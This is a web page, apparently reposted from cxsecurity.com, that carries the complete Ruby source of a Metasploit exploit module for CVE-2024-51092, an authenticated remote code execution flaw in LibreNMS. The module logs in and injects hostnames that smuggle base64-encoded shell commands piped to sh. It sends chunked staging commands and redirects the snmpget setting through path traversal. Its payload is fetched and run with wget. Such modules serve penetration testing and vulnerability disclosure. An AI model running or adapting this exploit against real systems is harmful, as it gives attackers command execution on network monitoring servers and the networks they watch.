LibreNMS Authenticated RCE
2025-1-22 21:5:52 Author: cxsecurity.com(查看原文) 阅读量:3 收藏

LibreNMS Authenticated RCE

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Retry include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'LibreNMS Authenticated RCE (CVE-2024-51092)', 'Description' => %q{ An authenticated attacker can create dangerous directory names on the system and alter sensitive configuration parameters through the web portal. Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls, thus achieving arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'murrant (Tony Murray)', # PoC 'Takahiro Yokoyama' # Metasploit module ], 'References' => [ [ 'URL', 'https://github.com/advisories/GHSA-x645-6pf9-xwxw'], [ 'CVE', '2024-51092'] ], 'Platform' => %w[linux], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { 'FETCH_COMMAND' => 'WGET' } } ], ], 'DefaultOptions' => { 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1), 'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1) }, 'Payload' => { 'SPACE' => 128 }, 'DefaultTarget' => 0, 'DisclosureDate' => '2024-11-15', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]), OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]), OptString.new('PATH', [ true, 'LibreNMS installed location', '/opt/librenms' ]), OptInt.new('WAIT', [ true, 'Wait time (seconds) for cron to poll the device', 315 ]), ] ) end def get_csrf_token(res) res&.get_html_document&.at('meta[name="csrf-token"]') ? res.get_html_document.at('meta[name="csrf-token"]')['content'] : nil end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login') }) return Exploit::CheckCode::Unknown('LibreNMS is not detected.') unless res&.code == 200 && res&.body&.include?('<title>LibreNMS</title>') token = get_csrf_token(res) return Exploit::CheckCode::Unknown('LibreNMS detected. Failed to extract csrf token.') unless token begin login rescue StandardError => e return Exploit::CheckCode::Unknown(e) end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'about') }) return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') unless res&.code == 200 html_body = res&.get_html_document version_node = html_body&.at("a[@href='https://www.librenms.org/changelog.html']") return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') if version_node.nil? version_node&.at('span')&.content = '' version = Rex::Version.new(version_node.text) return Exploit::CheckCode::Safe("LibreNMS version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.9.0'), Rex::Version.new('24.9.1')) Exploit::CheckCode::Appears("LibreNMS version #{version} detected, which is vulnerable.") end def login res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true }) fail_with(Failure::Unknown, 'Failed to access the login page.') unless res&.code == 200 login_res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true, 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], '_token' => get_csrf_token(res) } }) fail_with(Failure::NoAccess, 'Failed to log into LibreNMS.') unless login_res&.code == 302 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) fail_with(Failure::Unknown, 'Failed to log into LibreNMS.') unless res&.code == 200 && res.body.include?('Devices') @logged_in = true print_status('Successfully logged into LibreNMS.') end def exploit login unless @logged_in add_host print_status("Waiting up to #{datastore['WAIT']} seconds for cron to poll the device...") created = retry_until_truthy(timeout: datastore['WAIT']) do @hosts.all? { |h| change_snmpget(h) } end fail_with(Failure::Unknown, 'Failed to create malicious file. You may need more wait time, or the cron job might be disabled.') unless created register_file_for_cleanup(datastore['FETCH_FILENAME']) @hosts.each do |host| change_snmpget(host) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'about') }) end end def add_host res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'addhost') }) fail_with(Failure::Unknown, 'Failed to access addhost page.') unless res&.code == 200 # The maximum host length is 128 characters. # because 128 - 20 = 108 where 20 is length of remaining characters in original payload if Rex::Text.encode_base64(payload.encoded).length <= 108 @hosts = [";echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|sh;"] print_status("Adding host: '#{@hosts[0]}', length: #{@hosts[0].length}") else @hosts = [] staging_file = Rex::Text.rand_text_alpha(1, datastore['FETCH_FILENAME']) register_file_for_cleanup(staging_file) cmd = Rex::Text.encode_base64(payload.encoded) # ;echo -n chunked_cmd>>staging_file; # ;echo -n (space) = 9, >> = 2, ; = 1 max_chunk_size = 128 - (9 + 2 + staging_file.length + 1) chunk_size = rand([1, max_chunk_size - 10].max..[1, max_chunk_size - 5].max) print_status("Command chunk size = #{chunk_size}") cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join) redirector = '>' cmd_chunks.each_with_index do |chunk, index| print_status("Staging chunk #{index + 1} of #{cmd_chunks.count}") @hosts << ";echo -n #{chunk}#{redirector}#{staging_file};" redirector = '>>' end @hosts << ";cat #{staging_file} | base64 -d |sh;" end @device_ids = [] @hosts.each do |host| res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'addhost'), 'vars_post' => { '_token' => get_csrf_token(res), 'hostname' => host, 'snmp' => 'on', 'sysName' => '', 'hardware' => '', 'os' => '', 'os_id' => '', 'snmpver' => 'v2c', 'port' => '', 'transport' => 'udp', 'port_assoc_mode' => 'ifIndex', 'community' => '', 'authlevel' => 'noAuthNoPriv', 'authname' => '', 'authpass' => '', 'authalgo' => 'SHA', 'cryptopass' => '', 'cryptoalgo' => 'AES', 'force_add' => 'on', 'Submit' => '' } }) fail_with(Failure::Unknown, 'Failed to add device.') unless res&.code == 200 && res&.body&.include?('Device added') print_status('Added host.') link = res&.get_html_document&.at("div.alert.alert-success:contains('Device added') a") device_link = link['href'] if link device_id = device_link.match(%r{/device/(\d+)})[1] if device_link&.match(%r{/device/(\d+)}) @device_ids << device_id if device_id end end def change_snmpget(host) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'settings/external/binaries') }) return unless res&.code == 200 res = send_request_cgi({ 'method' => 'PUT', 'headers' => { 'X-CSRF-TOKEN' => get_csrf_token(res) }, 'uri' => normalize_uri(target_uri.path, 'settings/snmpget'), 'ctype' => 'application/json', 'data' => { 'value' => "file://#{datastore['PATH']}/rrd/#{host}/../../../../../bin/ls" }.to_json }) res&.code == 200 end def cleanup super res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'settings/external/binaries') }) if res&.code == 200 res = send_request_cgi({ 'method' => 'DELETE', 'headers' => { 'X-CSRF-TOKEN' => get_csrf_token(res) }, 'uri' => normalize_uri(target_uri.path, 'settings/snmpget') }) end print_status('Failed to reset snmpget to default.') unless res&.code == 200 print_status('Reset snmpget to default.') if res&.code == 200 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'delhost') }) token = get_csrf_token(res) if res&.code == 200 && @device_ids @device_ids.each do |device_id| res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'delhost'), 'vars_post' => { '_token' => token, 'id' => device_id, 'confirm' => '1' } }) print_status("Failed to delete device: #{device_id}") unless res&.code == 200 print_status("Deleted device: #{device_id}") if res&.code == 200 end elsif @device_ids print_status("Failed to extract CSRF token. Failed to delete device: #{@device_ids.join(', ')}") end end end



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2025010021
如有侵权请联系:admin#unsafe.sh